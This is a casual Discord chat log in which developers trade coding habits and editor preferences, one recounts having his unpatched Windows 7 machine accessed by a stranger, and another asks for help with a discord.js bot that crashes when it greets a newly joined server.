
earnest phoenix
#

you mind contributing to my list of good developer habits @sinful lotus ? Just gathering generally good practices when programming from devs

lusty dew
#

Fuck

#

I just ut my finger on a soda can

sinful lotus
#

@earnest phoenix write clean, direct to the point, and make sure you are not doing memes

earnest phoenix
#

right on

lusty dew
#

LOL

#

Memes are nice

earnest phoenix
#

i mean

#

understand time complexity

lusty dew
#

Meme bots are very good

earnest phoenix
#

check docs and google it of certain operations

#

and make sure u dont do anything redundant

lusty dew
#

Yea also

#

remember

earnest phoenix
#

im more talking about keep functions returning bools if possible, they should have one purpose only, etc etc etc

lusty dew
#

Console logging

#

is your friend

sinful lotus
#

if you can just init once, and just loop on the value you needs that would be better

#

specially on process like for example, music players

lusty dew
#

Console logging is your friend 👀

earnest phoenix
#

console log for debugging and testings

lusty dew
#

When in doubt console log

earnest phoenix
#

same

lusty dew
#

Ye

#

I always console log

sinful lotus
#

classes are a good example for it, but if you cant class then

function stuff () {
    // variable init here
   play(pass variables);
}
prime cliff
#

Console log whats that i only do notepad++ GWqlabsFeelsLULMan

lusty dew
#

LOL

earnest phoenix
#

🤔

lusty dew
#

Notepad++ is the best when it comes to coding

sinful lotus
#

just pass the variables on the function pass it and loop it until the end

earnest phoenix
#

i use nano to program

lusty dew
#

I use VScode

sinful lotus
#

Sublime is good for low ram machines

#

simplicity

earnest phoenix
#

yes

lusty dew
#

VScode so far works great for me

earnest phoenix
#

mongodb

#

is so based

#

sublime is good to click "no thanks i dont wanna pay for notepad theme" every time u open it

lusty dew
#

and I only have 3gb of ram available

#

LOL

#

Sublime was trash when i used it

sinful lotus
#

my sublime is sponsored

lusty dew
#

Sublime to me can just die

#

52.1MB of memory

#

I want a Windows 8

#

I has a windows 7 for now

#

But soon

#

ima upgrade

#

either to windows 8

#

or a custom computer

prime cliff
#

dont go with windows 8

earnest phoenix
#

dont upgradw windows 7

#

keep it until they stop updates

#

then use linux instead

prime cliff
#

Upgrade to windows 9 kthx

lusty dew
#

They have stopped updates for windows 7

#

XD

#

For a while now

earnest phoenix
#

not security patches

prime cliff
#

^

earnest phoenix
#

yet

lusty dew
#

I never get them

#

o.O

earnest phoenix
lusty dew
#

That explains

#

How someoen got into my computer

earnest phoenix
#

dont worry once u update to windows 10

#

u will never miss an update

lusty dew
#

and had a onversation with me

prime cliff
#

Wait what

earnest phoenix
#

because they cant be disabled mmLol

lusty dew
#

Lol

#

Someone hacked into my computer

#

and had a conversation with me

#

It was fun

earnest phoenix
lusty dew
#

After a while I just reset my Router

#

Without no Wifi

#

he has no access to it

earnest phoenix
#

i would reformat if i were you lmao

lusty dew
#

Lol

#

Oh well

#

TOo tired

earnest phoenix
#

yoyoyo

#

jonny jonny

keen salmon
#

nani

earnest phoenix
#

yes pa pa?

#

eating SUG AR ?

keen salmon
#

no u

whole plume
#

how would I make the bot send a message in a channel when it joins a server

keen salmon
#

what lib

whole plume
#

node

earnest phoenix
keen salmon
#

uwu

whole plume
#

🤔

keen salmon
#

@earnest phoenix meme detecc

whole plume
#

discord.js idfk

earnest phoenix
#

uwu

keen salmon
#

im not familiar with it

#

check Client for the event

#

there should be an event for guild join

whole plume
#

i already have that setup

#

and ive verified that it works

#

but i dont know how to make it send a message when it joins

keen salmon
#

owo

whole plume
#

by what i mean I have it set so it logs the name of the new server and it creates its roles

keen salmon
#

owo

whole plume
#
let SendChannel = guild.channels.get("general") || guild.channels.get("chat");
    SendChannel.send(`Hello! I'm waifubot. I'm extremely work in progress so if im down please forgive me! My creator is always adding new features and that might cause me to crash. If a command is not working, please use ~support to report it to my owner in my discord server! Please Note: I only have 10 gifs and 10 hentai images working at the moment, but I will have over 400 in the future! I just have to learn how to use them. :smile:`);
#

thats what I came up with

#

but it crashes when it joins a new server

keen salmon
#

that wont work

whole plume
#

ive figured that out already

keen salmon
#

you should just choose a random channel

earnest phoenix
#

ok so like

#

guilds have a default channel

keen salmon
#

wait

earnest phoenix
#

i forgot what its called in discordjs

keen salmon
#

owo

whole plume
#

i was going to try that yeah

keen salmon
#

just remembered that trolol